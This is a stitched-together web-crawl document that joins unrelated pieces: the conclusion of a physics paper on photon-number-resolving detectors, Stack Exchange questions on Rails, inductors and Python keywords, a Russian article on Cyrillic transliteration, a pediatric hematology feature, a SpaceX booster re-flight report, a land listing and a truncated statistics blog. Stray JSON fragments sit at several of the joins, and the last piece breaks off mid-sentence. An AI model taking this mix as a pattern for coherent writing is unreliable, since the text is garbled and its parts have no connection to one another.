In past work, the connection between PNR detectors and higher order correlations has been hinted at partially \cite{Dynes2011,Kalashnikov2014,Tan2016}, but the specific relations linking higher order correlations with multiphoton detections as analyzed in this work have not been addressed. Further extending the richness to our assertion that beamsplitter-based PNR detectors operate on the principals of generalized IIs, we claim that all types of PNR detectors constitute generalized intensity interferometers. In order to support this claim we must consider not only coherence time as playing a critical role, but also coherence area. PNR detectors composed of a grid of single photon detectors as in the case of MPPC's and SNSPD-based PNR detectors must obey a similar rule as the coherence-time-coincidence-window relation. In order for correlated coincidences to dominate the signal over random coincidences the spatial coherence area of the light source must be larger than the size of the detector array. For a beamsplitter based PNR detector this requirement is alleviated since the coherence area must simply cover a single SPD as opposed to a grid of multiple SPDs. As was the case with coherence time, coherence area is not typically considered in normal characterization of PNR detectors. If the coherence time and coherence area satisfy conditions for an acceptable SNR, we can suppose an equivalence between beamsplitter-based multiplexed PNR designs and array-based PNR detectors. In fact, the characteristic parameters coherence time and area, coincidence window, and the number of detectors need only be corresponding for equivalence to hold. The salient tradeoff concerns the relative budgets for spatial and temporal coherence.
The remaining PNR detector type, so-called monolithic detectors, do not possess a grid of pixels, yet nevertheless have the capability of simultaneously registering more than one detection. Examples of monolithic PNR detectors are VLPCs and TESs. Despite these detector types lacking an arranged grid of SPD pixels, the detectors operate \textit{as if} they do. The excitation regions (the regions of the device which register a detection and therefore require a recovery time period in the same way as an SPD pixel) of both VLPCs \cite{Bross2005} and TESs \cite{Cabrera1998} are around 3 microns. The size of the excitation region allows one to calculate the effective number of pixels a monolithic detector possesses. Due to the physical operation principles of monolithic PNR detectors, they act \textit{as if} they have pixels which require resetting with the variation that the locations of the effective pixels are not bound to a prescribed grid. Therefore, the operation of each type of PNR detector is largely equivalent, provided each type of detector (BS-multiplexed, pixel-based, and monolithic) is subject to the same conditions with respect to coherence time and coherence area. The performance of each type of detector is differentiated largely on single detector dependent characteristics such as dead time, efficiency, and dark counts which themselves constitute a parametric model to be fitted according to physical device conditions e.g. reverse bias voltage or bias current, etc.
\section{Conclusion}
In this work, we have recognized a hitherto unacknowledged noise source active in the operation of PNR detectors. The noise source comes in the elusive form of accidental coincident detections, which are liable to be mistaken for correlated coincidences. We discuss the experimental parameters pertinent to establishing sufficient SNR and the importance of the relative values of coherence time and coincidence window. Our survey revealed that many common PNR detectors have insufficient SNRs. The PNR detector developed for this work replicated the prevalent low SNR condition to show that variable coincidence windows can indeed alter reported photon statistics. Under these conditions we were able to establish good agreement between experimental results and a fully classical model based on amplitude threshold detection. It remains to be seen if the classical model is sufficient for high SNR conditions. If shown to be sufficient, it would be possible to attribute the multimodal character of PNR detector output to the nonlinear multiplication processes ubiquitous to PNR detectors (i.e. threshold detection) combined with the aforementioned aggregation principle, rather than presuming the prior presence of a certain number of discrete photons. We posit this interpretation, which reflects the underlying assumptions of the classical model, as an alternative to the one-to-one causal relationship between an incoming photon and a consequent photoelectron, that is, the basis for light quanta.
Concerning Einstein's bubble paradox, in light of the alternative explanation for the operation of PNR detectors discussed above, we may address aspects of this paradox using a classical description. Consider an SPD pixel-based PNR detector spread on the inside of a sphere with a highly attenuated light source situated at the center. Given each pixel operates on amplitude threshold detection and the average energy output of the source is equal to the input energy of the detector, no light particles need be presumed to avoid a paradox. In fact, given such an attenuated light source, the most likely behavior would be long periods of seeming inactivity punctuated mostly by single detector amplitude crossings caused by the combination of the light source and background noise excursions. Rather than all other detectors being suppressed in order to uphold energy conservation in the light particle picture, the simple and most probable activity occurs. In this way, the preconditioned presumption of light quanta is capable of subtly masking the clarity of such explanations.
As previously mentioned, many physical effects considered to be explained exclusively by a dualistic photon picture have now acquired classical explanations. The use of approaches that consider common, unavoidable nuances of experimental and data analytic techniques such as arbitrary coincidence windows or post selection etc., may enable explanation of fundamental quantum phenomena such as the Born rule\cite{LaCour&Williamson2020,Khrennikov_42012}, quantum eraser,\cite{LaCourYudichakDC2021} entanglement itself,\cite{LaCourYudichakEI2021} or various Bell-type inequalities\cite{Adenier2009,Khrennikov1_2012,Henault2013} with straightforward intuitable resolutions.\cite{Lamb1995,Lamb2001,Boyer1975,LaCour2014,LaCourSudarshan2015,Khrennikov_22012,Khrennikov_32012,Britun2017,Rashkovskiy2015,Rashkovskiy2018,Grossing2011,Henault2011,Henault2015} Needless to say, possible oversight regarding the foundational interpretations of instrument output can have far-reaching effects not only on aspects of quantum computational advantage and quantum communication security, but also on basic physical effects regarded as exclusively quantum.
\begin{acknowledgments}
This work was supported by the ARL:UT Independent
Research and Development Program and by the Office of Naval Research under Grant No.\ N00014-18-1-2107
\end{acknowledgments}
\bibliographystyle{apsrev4-2}
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Q: I want to create a Ruby on Rails Temporary Table I have multiple arrays in my Ruby on Rails controller that look like this:
@array1 = {"artist_id"=>10896479,"events" => ["event1, event2, event3"]}
@array2 = {"artist_id"=>14566479,"events" => ["event4, event5, event6"]}
I want to iterate through each array, grab each event such as "event1" and "event2" and put them into a temporary table so I get an events column with "event1, event2, event3, event4, event5, event6" that I can organize and print out onto an html table. How would I go about doing that? Sample code snippets would really help since I am fairly new to Ruby on Rails. My goal is grab the events from all these different artists and list them out on a table sorted in the order of which events are coming the soonest.
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{"url":"https:\/\/electronics.stackexchange.com\/questions\/288380\/energy-stored-and-lagging-of-current-in-a-inductive-circuit?noredirect=1","text":"# Energy stored and Lagging of Current In a Inductive Circuit\n\nIn a purely Inductive AC Circuit, the voltage\/emf Leads the current in phase by 90. The graph between Voltage and Current is given below:\n\nNow can anyone here please tell me in a more intuitive way how the current is varies sinosuidally with emf in every quarter of cycle? Also how Inductor stores Energy in its Magnetic Field?\n\nI don't need any Mathematical Explanation. Thanks...\n\n\u2022 You might want to search the Physics SE site and see if this question has already been asked. \u2013\u00a0The Photon Feb 23 '17 at 16:54\n\nThe voltage across an ideal inductor is $V_L=L\\dfrac{di}{dt}$ or we can sometimes use this approximation $V_L = L*\\frac{\u0394I}{\u0394t}$\nThis equation indicates that inductance voltage depends not on current which actually flows through the inductance, but on its rate of change.This means that to produce the voltage across an inductance, the applied current must change. If the current is kept constant, no voltage will be induced, no matter how large the current. Conversely, if it is found that the voltage across an inductance is zero this means that the current must be constant but not necessary zero.\n\nIn summary: When the current is increasing di\/dt > 0 The voltage across the coil VL must be positive because L times a positive number yields a positive voltage.\n\nWhen the current is decreasing di\/dt < 0, so V must be negative because L times a negative number yields a negative voltage.\n\nWhen we have no change in current over time then we cant have any voltage V = L*di\/dt = L * 0 = 0.\n\nKnowing all of this, you can now use this V = L * dI\/dt equation and this picture to better understanding Inductor AC behavior.\n\nWhy is there any voltage even present across the inductor? We always accept a voltage across a resistor without argument because we know Ohm\u2019s law (V = I \u00d7 R) all too well. But an inductor has (almost) no resistance it is basically just a length of solid conducting copper wire (wound on a certain core). So how does it manage to \u201chold-off\u201d any voltage across it? In fact, we are comfortable about the fact that a capacitor can hold voltage across it. But for the inductor, we are not very clear! A mysterious electric field somewhere inside the inductor! Where did that come from? It turns out, that according to Lenz and\/or Faraday, the current takes time to build up in an inductor only because of \u2018induced voltage.\u2019 This voltage, by definition, opposes any external effort to change the existing flux (or current) in an inductor. So if the current is fixed, yes, there is no voltage present across the inductor, it then behaves just as a piece of conducting wire. But the moment we try to change the current, we get an induced voltage across it. By definition, the voltage measured across an inductor at any moment (whether the switch is open or closed) is the \u2018induced voltage.\u2019\n\nhttp:\/\/booksite.elsevier.com\/samplechapters\/9780750679701\/9780750679701.PDF (from page 22 Understanding the Inductor)\n\nHow does an inductor store energy?\n\nEDIT\n\nTo know at which \"phase\" the inductor is we must look at the current. What the current is doing at a given moment. Inductor stores energy in form of magnetic field. And the inductor is fully charged when IL=I_max and VL = 0V. Discharging phase ends when IL = 0A and VL=V_max.\n\nSo, from 90 to 180 degrees the inductor current is rising and ends at IL_max. This must be the Charging Phase.\n\nFrom 180 to 270 degrees we have Discharging Phase.\n\nFrom 270 to 360 degrees we have a Charging Phase but in the opposit direction.\n\n0 to 90 degrees we have a Discharging Phase.\n\nWe can also look at instantaneous power, the product of the instantaneous voltage and the instantaneous current.\n\nThe positive power means that we are \"absorbing\" power from the source(circuit), the charging phase.\n\nNegative power means that the inductor is releasing power back to the source(circuit), discharging phase.\n\n\u2022 sorry for the late reply.@G36 The way you showed the Charging and Discharging Phase of Capacitor in my previous question, can you do the same for the inductor? \u2013\u00a0Perspicacious Feb 25 '17 at 9:07\n\u2022 @MritunJay I update my answer. \u2013\u00a0G36 Feb 25 '17 at 12:29\n\u2022 how can an inductor discharge its current at the very beginning of the cycle? \u2013\u00a0Perspicacious Feb 26 '17 at 4:41\n\u2022 @MritunJay Do not forget that all this figures and description show steady-state situation. They assume that the inductor was Turn-ON for a very long time before we start our analysis. Do you understand this ? \u2013\u00a0G36 Feb 26 '17 at 10:30\n\nI don't need any Mathematical Explanation. Thanks...\n\nA pure inductor does not dissipate power so if you apply a sinewave voltage to its terminals, current has to flow sinusoidally but in such a way that the average power is zero. So the options are: -\n\n\u2022 no current flows therefore power is zero\n\u2022 the voltage is shorted out completely so power has to be zero\n\u2022 current is at 90 degrees to voltage hence average power is zero\n\nWhich one makes most sense and which one shows that energy is both stored and returned to the sinewave supply in successive half cycles of the waveform?","date":"2020-08-11 13:55:57","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.7966182231903076, \"perplexity\": 696.2127933194777}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 20, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738777.54\/warc\/CC-MAIN-20200811115957-20200811145957-00428.warc.gz\"}"} | null | null |
Научная транслитерация кириллицы — система передачи букв кириллицы с помощью латинских букв (например, стандарт ISO), применяемая, в основном, в научных изданиях.
История
До XX века не существовало единой и общепонятной системы передачи кириллицы на латиницу. В каждом случае использовалась своя, исходя из правил орфографии языка, для которого проводится транслитерация. Тем не менее существовали попытки создать единую систему. В 1869 в своей работе Шлейхер одним из первых использовал научную систему передачи кириллицы (так же как и глаголицы) на латиницу. Для недостающих букв он использовал символы чешского и хорватско-словенского алфавитов, а также особые буквы для символов из старославянского языка (юсы, ять и т. д.). Такая система осталась практически без изменений вплоть до наших дней и в конечном итоге стала основой для ISO 9.
Академическая транслитерация
В 1906 году Императорской академией наук была принята своя система в духе славянского единства и продолжавшая традицию времен Шлейхера. За основу были взяты латинские алфавиты южных и западных (кроме польского) славянских языков. Существовали четыре версии. Первоначальная, 1906 года, и вторая, 1925 года, почти не отличались друг от друга и использовали общие принципы транслитерации.
Однако в 1939 году Отделением литературы и языка АН СССР была принята другая обновлённая версия. Значительное участие в её разработке принял русский лингвист Лев Щерба. Основные изменение коснулись передачи «мягких гласных букв», а также мягкого и твёрдого знака. Вместо двух способов передачи букв я, ю, ё сочетаниями ĭa, ĭu, ĭo (после согласных) и ja, ju, jo (в остальных случаях), Щербой была предложена единообразная передача через ja, ju, jo во всех случаях. «Буква мягкости» ĭ также была заменена на j из-за технической сложности использования редкой для национальных алфавитов буквы. На практике ĭ заменялось на простое i и, как следствие, возникала путаница между словами (soli — соль и соли, в обновленной версии solj — соль, soli — соли). Мягкий и твёрдый знаки, играющие роль разделителей не различались и обозначались апострофом (в ранних версиях ъ пропускался, а ь обозначался лишь перед согласными буквой ĭ ). Сохранялась академическая традиция буквы э и е после согласных передавать одной латинской буквой е, а в начале слова, или после гласной, или после мягкого или твёрдого знака — двумя буквами je. Диграф ch в начале слова был заменён на h (как в хорватском и словенском языках) из-за очень разного фонетического значения диграфа в языках Европы. Было уточнено правило передачи буквы и после гласных и знаков ь, ъ.
Почти сразу после принятия третьей версии Международная организация по стандартизации (ISO) предложила свою практически идентичную академической за исключением буквы е, которая всегда передавалась как e (в академической — e и je в зависимости от позиции в слове).
Однако в течение 1950-х годов Институтом языкознания была подготовлена другая система (версия 1951—1957). Фактически были возвращены многие положения из версии 1906—1925 годов. Возвращён диграф ch (с возможностью использования h для фрикативного звука в украинском и белорусском). Реформатский, который участвовал в разработке, критиковал предложение Щербы использовать для мягкости йот и апостроф для твёрдого и мягкого знаков. В итоге было принято решение обозначать мягкость везде апострофом, а твёрдый и мягкий знак перед йотированными снова стали пропускать.
Примерно одновременно с Институтом языкознания Международной организацией по стандартизации (ISO) была предложена своя система. Однако она вызвало критику по целому ряду вопросов: использование редкой буквы ė (встречается только в литовском) для э, вариация для х — h, kh, ch (что нарушало сам смысл стандартизации), непоследовательность передачи йотированных е ё как e ë, с одной стороны, и ю я как ju ja, с другой. Тем не менее она была принята как ISO 9 и с некоторыми обновлениями и дополнениями сохранилась до наших дней. В основу обоих государственных стандартов по транслитерации (советского 1971 года и российского 2000 года) была положена именно ISO 9.
Примечания
1: Только после согласных.
2: Допустимые альтернативные варианты.
3: Согласно приказу ГУГК № 231п за 1983 год и следующим ему рекомендациям ООН за 1987 год для е, х, щ, ю, я в географических названиях используются только e, h, šč, ju, ja.
4: После ж, ш, ч, щ
5: После ь
6: Только перед согласными и на конце слов.
Варианты
Поскольку научная транслитерация активно применяется в работах по лингвистике и для других славянских языков, существуют разные особенности употребления тех или иных букв в зависимости от языка-источника. Буква х помимо ch, h, kh часто обозначается буквой «икс» x.
Поскольку старославянская орфография была фонетической, а старославянский является наиболее близким к праславянскому, то схожая система применяется для транскрипции реконструируемых форм праславянского языка. Помимо вышеуказанных букв латиницы применяются также дополнительные символы для звуков: ā ē ī ō ū — для долгих гласных, ă ĕ ĭ ŏ ǔ — для кратких, l̥ m̥ n̥ r̥ — для слоговых согласных, d' t' l' n' r' — для палатальных и т. д. (смотрите подробнее статью Праславянский язык.)
См. также
Транслитерация русского алфавита латиницей
Русская латиница
Примечания
Литература
Транслитерация и транскрипция
Романизация
Славистика
Праславянский язык | {
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Pediatric Hematology Expertise Attracts Parents and Children
Getting to Know the Department
Pediatric Hematology Expertise at the University of Maryland Attracts Parents and Children
Call for appointment:
This article is an excerpt of University of Maryland Rounds, which features clinical and research updates from the University of Maryland School of Medicine and University of Maryland Medical Center.
A robust practice in sickle cell disease augments University of Maryland Children's Hospital's patient-centered Pediatric Hematology program, drawing young patients and their families from far and wide to tackle the full spectrum of children's non-malignant blood disorders.
Iron-deficiency anemia affects the bulk of the 200 or so pediatric patients coming to the Children's Hospital each year for hematological treatment, followed by significant numbers with abnormal platelet or white blood cell counts. Meanwhile, about 70 youngsters seek continuing care here for sickle cell disease, according to University of Maryland pediatric hematologist/oncologist Regina Macatangay, M.D.
With patients hailing from as far as West Virginia, Pennsylvania and Delaware, as well as the entire University of Maryland network, Dr. Macatangay feels that many parents choose UM for their children's hematology treatment simply "because they feel we give them the best care," says Dr. Macatangay, also an assistant professor of pediatrics at University of Maryland School of Medicine.
"I think patients tend to go where they're geographically dispersed, so we have a good number who come here because this is regionally best for them," she adds. "Others, even if their insurance mandates they go (elsewhere), still come to us."
Tailored Sickle Cell Care
Affecting about 100,000 Americans, sickle cell disease can be especially challenging to treat because of its variable nature. Some young patients — typically with family members also affected — barely suffer any symptoms, Dr. Macatangay says, while others are severely impacted.
Two of the most challenging complications related to sickle cell are pain crises and stroke. Pain crises result when the oxygen supply to bodily tissues is diminished by the disease's hallmark misshapen red blood cells. Stroke can result when this clotting occurs in the brain, and research indicates an estimated 1 in 10 sickle cell patients experience a stroke by age 20.
After genetic testing confirms a young patient's sickle cell diagnosis, UMMC's pediatric hematologists tailor treatment to the child's symptoms to optimize quality of life, Dr. Macatangay says. If patients have suffered a stroke, monthly blood transfusions are given to prevent another.
Other sickle cell patients receive partial transfusions, which exchanges an equal volume of healthy blood for an amount of theirs drawn. Meanwhile, many are prescribed the oral drug hydroxyurea, which decreases pain crises and sickle cell-related hospitalizations, she says.
But, "The biggest challenge in this population is making parents understand as much as children how important medications are and why we need to monitor them so frequently," Dr. Macatangay explains. "The ones who don't let us know there's an issue early on, we end up only seeing them sick and in the hospital. As much as possible, we try to educate them on the outpatient side."
Combined Clinic Part of Streamlined Care
For other benign hematology problems in children, UMMC physicians take a step-wise approach to diagnosis and treatment that typically involves gathering a thorough family medical history and performing blood tests. Patients found to be nutrient-deficient — which often presents as anemia — are treated with oral supplements and occasionally, blood transfusions.
UMMC stands apart from many Pediatric Hematology programs because of its joint Hematology/Oncology-Genetics Clinic, which Dr. Macatangay helped establish.
"Plenty of places do genetic testing upfront if there's cancer in childhood, but not so much if the child has a genetic disorder" leading to a blood disease, she says. "Our genetic counselors can provide testing to children and parents that combines the two disciplines so they don't have to wait an extended period."
This streamlined care, along with a team approach, creates a rapport between physicians, nurse practitioners and families that Dr. Macatangay says enhances overall care and reassures referring providers.
"We get to know patients very well — we're definitely bonded with them," she says. "We also do an excellent job of getting back to primary care physicians within the first few days of seeing patients. It makes them comfortable to know we will update them."
In addition to the downtown practice, hematology patients are seen at the outpatient practices in Harford County, Bel Air and Anne Arundel County, Hanover.
For appointments, please call 410-328-2808.
University of Maryland Children's Hospital logo
© 2021 All rights reserved. University of Maryland Medical System. , Baltimore, Maryland . | {
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Q: Keywords in python that evaluate to themselves There's a notion of keywords in Clojure where you define them by adding a colon in front of your word you are trying to address as a keyword. Also, it evaluates to itself. For example:
:my-keyword
;=> :my-keyword
Is there any way to implement this in python by defining some custom class or any workarounds?
The reason for having this is to have more self-desctriptive parameters (strings are there, but one cannot keep track of having consistent strings while passing around).
A practical use case for this goes something like this:
def area(polygon_type):
return \
{
"square": lambda side: (side * side),
"triangle": lambda base, height: (0.5 * base * height)
}[polygon_type]
area("square")(2) # ==> 4
But, having strings in such manner leads to error at runtime, if mishandled. But having something like keywords even an auto-complete feature in any IDE suggests the mistake that has been made while passing in the polygon_type.
area("Sqaure")(2) # would lead to a KeyError
Is there some feature in python that solves this type of problem, that I am unaware of?
If not, how'd someone go about tackling this?
Edit:
I am not trying to solve the problem of having such a function in particular; but instead looking for a way of implementing keyword concept in python. As, with enums I have to bundle up and explicitly define them under some category (In this case polygon_type)
A: Keywords in Clojure are interned strings and Clojure provides special syntactic support for them. I suggest you take a look at how they are implemented. It seems like Python does some interning of its strings but I don't know much of its details.
The point of using keyword is fast comparisons and map lookup. Although I am not sure how you would benefit from it, you could try to implement your own keyword-like objects in Python using string interning, something like this:
str2kwd = {}
class Keyword:
def __init__(self, s):
self.s = s
def __repr__(self):
return str(self)
def __str__(self):
return ":" + self.s
def kwd(s):
"""Construct a keyword"""
k = str2kwd.get(s)
if k is None:
k = Keyword(s)
str2kwd[s] = k
return k
Whenever you want to construct a keyword, you call the kwd function. For the Keyword class, we rely on the default equality and hash methods. Then you could use it like this:
>>> kwd("a")
:a
>>> kwd("a") == kwd("a")
True
>>> kwd("b") == kwd("a")
False
>>> kwd_a = kwd("a")
>>> kwd_b = kwd("b")
>>> {kwd_a: 3, kwd_b: 4}
{:a: 3, :b: 4}
>>> {kwd_a: 3, kwd_b: 4}[kwd_a]
3
However, I have not measured if this results in faster comparisons and map-lookups than just using regular Python strings, which is probably the most idiomatic choice for Python anyway. I doubt you would see a significant improvement in performance from using this home-made keyword class. Also note that it is best to call the kwd function at the top-level of the module and assign it to a variable that you use, instead of calling kwd everytime you need a keyword. Obviously, you will not have the special keyword syntax as in Clojure.
UPDATE: How to avoid misspelling bugs
If you are worried about misspelling keys in your map, you can assign the keys to local variables and use those local variables instead of the key values directly. This way, if you misspell a local variable name you will likely get an error much sooner because you are referring to a local variable that does not exist.
>>> kwd_square = "square"
>>> kwd_triangle = "triangle"
>>> m = {kwd_square: 3, kwd_triangle: 4}
>>> m[kwd_square]
3
>>> m[Square]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'Square' is not defined
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We Report Space
Reflections by NASA Social Participants.
ABOUT WE REPORT SPACE
SpaceX Re-Flies First Block 5 Booster After 88 Days for Merah Putih
Bill Jelen
spacex, falcon 9, Block 5, Telkom, Indonesia
Falcon 9 launches Merah Putih on August 7, 2018. Photo credit: Mary Ellen Jelen / We Report Space
Falcon 9 Block 5 variant makes its debut flight during the Bangabandhu-1 mission in May 2018. Photo credit: Michael Seeley / We Report Space
CAPE CANAVERAL: On August 7, 2018 at 1:18 AM local time, SpaceX Booster Number 46 lifted the Merah Putih satellite to orbit for Telkom Indonesia. While this is the fifteenth time that SpaceX has re-flown a first-stage booster, this is the first time that they have re-flown their new Block 5 version of the booster. The booster originally launched Bangabandhu-1 on May 11, 2018. The 88 days to recover, refurbish, and re-fly the booster is significantly faster than the refurbishment times for previous versions.
The first booster to be re-flown was Core #21. This was known as a "Full Thrust" version of the booster and is now two generations old. That booster originally flew on April 8, 2016 for CRS-8 and then re-flew on March 30, 2017 for SES-10, a period of 356 days. Eight more of the Full Thrust boosters would re-fly, ranging from 160 to 620 days with an average time to refurbish of 308 days.
The next version of the booster, known as Block 4 had five cores that were re-flown. The average time to refly was 176 days. Those ranged from 72 days to 270 days.
Before the launch of the first Block 5, SpaceX CEO Elon Musk highlighted Block 5's reusability. In a May 10, 2018 call with Media, Musk said "One of the biggest goals of Block 5 is the ease of reusability. We are planning on being able to do 10 flights with no refurbishment between flight. We have to re-load propellant."
Musk went on to predict by the end of 2019 that a Block-5 would be able to make two orbital launches of the same core within 24 hours. For that to happen, the first launch would have to land at Cape Canaveral Air Force Station. Recent launches have landed on the autonomous drone ship Of Course I Still Love You (OCISLY). Although Bangabandhu launched on May 11, 2018, the drone ship did not return to Port Canaveral until May 15, 2018. Musk estimated that SpaceX spends $1.5 Million for an ocean recovery with a fleet of several support vessels accompanying OCISLY.
SpaceX's Falcon 9 carries Merah Putih to orbit for Telkom Indonesia. Long exposure composite photo graph by Michael Seeley / We Report Space
With Merah Putih being the first re-flown Block 5 booster, comparing photographs of the recently landed core on May 15, 2018 with the ready-to-refly booster on August 6, 2018 reveals several inspection points. While the burn marks above the landing leg were not removed, there are several vents and connectors that have been polished, likely for an inspection of the first re-flown Block 5 booster.
During the 80+ days from the return to Port Canaveral to launch at SLC-40, several inspection points were cleaned.
Merah Putih is a geostationary commercial communications satellite which will be operated at an orbital position of 108 degrees east. The satellite, built by SSL on their SSL 1300 platform, will be integrated into PT Telkom Indonesia's greater network to provide service to Indonesia and other areas in South and Southeast Asia. A contingent of 10 Telkom employees were present for the launch.
Merah Putih, which stands for the red and white colors of the Indonesian flag, will carry an all C-band payload capable of supporting a wide range of applications, including providing mobile broadband across Indonesia and Southeast Asia. The satellite is expected to have a service lifetime of 15 or more years. PT Telkom Indonesia is the largest telecommunications and network provider in Indonesia. The company offers a wide range of network and telecommunications services, including fixed wireline connections, cellular services, and internet and data communication services.
Barely 9 hours after the successful launch of Merah Putih, the next core arrived at SLC-40. Core #49 is expected to lift Telstar 18V during the third week of August.
Falcon 9 / Merah Putih (Bill and Mary Ellen Jelen)
Bill and Mary Ellen Jelen
Open in Gallery
Falcon 9 / Merah Putih (Michael Seeley)
Michael Seeley
CCAFS Launch Complex 17 Demolition Makes Room for Moon Express
NASA's Zurbuchen Praises ULA Team For Textbook Launch
Stunning, full color photo book covering every east coast launch spanning 2014-2015, including the first-ever powered landing of a SpaceX Falcon 9 rocket.
Successful Orion Abort Test Brings NASA Closer to Moon Mission
What Cocoa Beach Viewers Will See During Tomorrow's Orion Ascent Abort Test Tomorrow
SpaceX Launches STP-2 atop a Falcon Heavy
Will Smoot
Elon Musk talks Starlink
CRS-17 Delivery Returns Cargo Dragon to Station
Copyright © 2014 - 2019 We Report Space. All rights reserved. | {
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00 Shirking Road (MLS #4720775) is a lot/land listing located in Epping, NH. This is a lot/land listing with a lot of 389,862 sqft (or 8.95 acres). This property was listed on 09/27/2018 and has been priced for sale at $320,000. | {
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{"url":"https:\/\/chemicalstatistician.wordpress.com\/tag\/oxygen\/","text":"## Eric\u2019s Enlightenment for Tuesday, May 26,\u00a02015\n\n1. Frances Woolley on the changing dynamics in the relationship\u00a0between economists and the media in Canada over the past 8 years.\n2. The unintended consequences of labour policies that are meant to be friendly for parents and families \u2013 a nice account of many examples by Claire Cain Miller.\n3. FanGraphs explains\u00a0batting average on balls in play (BABIP) in great detail.\n4. How Neil Bartlett discovered compounds that contain noble gases. \u00a0(Yes \u2013 they can react!) \u00a0He began his research at the University of British Columbia in Vancouver (my hometown). \u00a0He also discovered a compound in which oxygen is\u00a0a positively charged ion. \u00a0Very cool stuff!\n\n## When Does the Kinetic Theory of Gases Fail? Examining its Postulates with Assistance from Simple Linear Regression in\u00a0R\n\n#### Introduction\n\nThe Ideal Gas Law, $\\text{PV} = \\text{nRT}$, is a very simple yet useful relationship that describes the behaviours of many gases pretty well in many situations. \u00a0It is \u201cIdeal\u201d because it makes some assumptions about gas particles that make the math and the physics easy to work with; in fact, the simplicity that arises from these assumptions allows the Ideal Gas Law to be easily derived from the kinetic theory of gases. \u00a0However, there are situations in which those assumptions are not valid, and, hence, the Ideal Gas Law fails.\n\nBoyle\u2019s law is inherently a part of the Ideal Gas Law. \u00a0It states that, at a given temperature, the pressure of an ideal gas is inversely proportional to its volume. \u00a0Equivalently, it states the product of the pressure and the volume of an ideal gas is a constant at a given temperature.\n\n$\\text{P} \\propto \\text{V}^{-1}$\n\n#### An Example of The Failure of the Ideal Gas Law\n\nThis law is valid for many gases in many situations, but consider the following data on the pressure and volume of 1.000 g of oxygen at 0 degrees Celsius. \u00a0I found this data set in Chapter 5.2 of\u00a0\u201cGeneral Chemistry\u201d by Darrell Ebbing and Steven Gammon.\n\n\u00a0 \u00a0 \u00a0 Pressure (atm) Volume (L) Pressure X Volume (atm*L)\n[1,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.25 \u00a0 \u00a0 2.8010\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.700250\n[2,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.50 \u00a0 \u00a0 1.4000\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.700000\n[3,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.75 \u00a0 \u00a0 0.9333\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.699975\n[4,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 1.00 \u00a0 \u00a0 0.6998\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.699800\n[5,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 2.00 \u00a0 \u00a0 0.3495\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.699000\n[6,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 3.00 \u00a0 \u00a0 0.2328\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.698400\n[7,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 4.00 \u00a0 \u00a0 0.1744\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.697600\n[8,] \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 5.00 \u00a0 \u00a0 0.1394\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 0.697000\n\nThe right-most column is the product of pressure and temperature, and it is not constant. \u00a0However, are the differences between these values significant, or could it be due to some random variation (perhaps round-off error)?\n\nHere is the scatter plot of the pressure-volume product with respect to pressure.\n\nThese points don\u2019t look like they are on a horizontal line! \u00a0Let\u2019s analyze these data using normal linear least-squares regression in R.\n\n## How to Calculate a Partial Correlation Coefficient in R: An Example with Oxidizing Ammonia to Make Nitric\u00a0Acid\n\n#### Introduction\n\nToday, I will talk about the math behind calculating partial correlation\u00a0and\u00a0illustrate the computation in R. \u00a0The computation uses an example involving the oxidation of ammonia to make nitric acid, and this example comes from\u00a0a built-in data set in R called stackloss.\n\nI read Pages 234-237 in Section 6.6 of \u201cDiscovering Statistics Using R\u201d by Andy Field, Jeremy Miles, and Zoe Field to learn about partial correlation. \u00a0They used a data set called\u00a0\u201cExam Anxiety.dat\u201d available from their companion web site (look under \u201c6 Correlation\u201d)\u00a0to illustrate this concept; they calculated the partial correlation coefficient between exam anxiety and revision time while controlling for exam score. \u00a0As I discuss further below, the plot between the 2 above residuals helps to illustrate the calculation of partial correlation coefficients. \u00a0This plot makes intuitive sense; if you take more time to study for an exam, you tend to have less exam anxiety, so there is a negative correlation between revision time and exam anxiety.\n\nThey used a function called pcor() in a\u00a0package called \u201cggm\u201d; however, I suspect that this package is no longer working properly, because it depends on a deprecated package called \u201cRBGL\u201d (i.e. \u201cRBGL\u201d is no longer available in CRAN). \u00a0See this\u00a0discussion thread for further information. \u00a0Thus, I wrote my own R function to illustrate partial correlation.\n\nPartial correlation is the correlation between 2 random variables while holding other variables constant. \u00a0To calculate the partial correlation between X and Y while 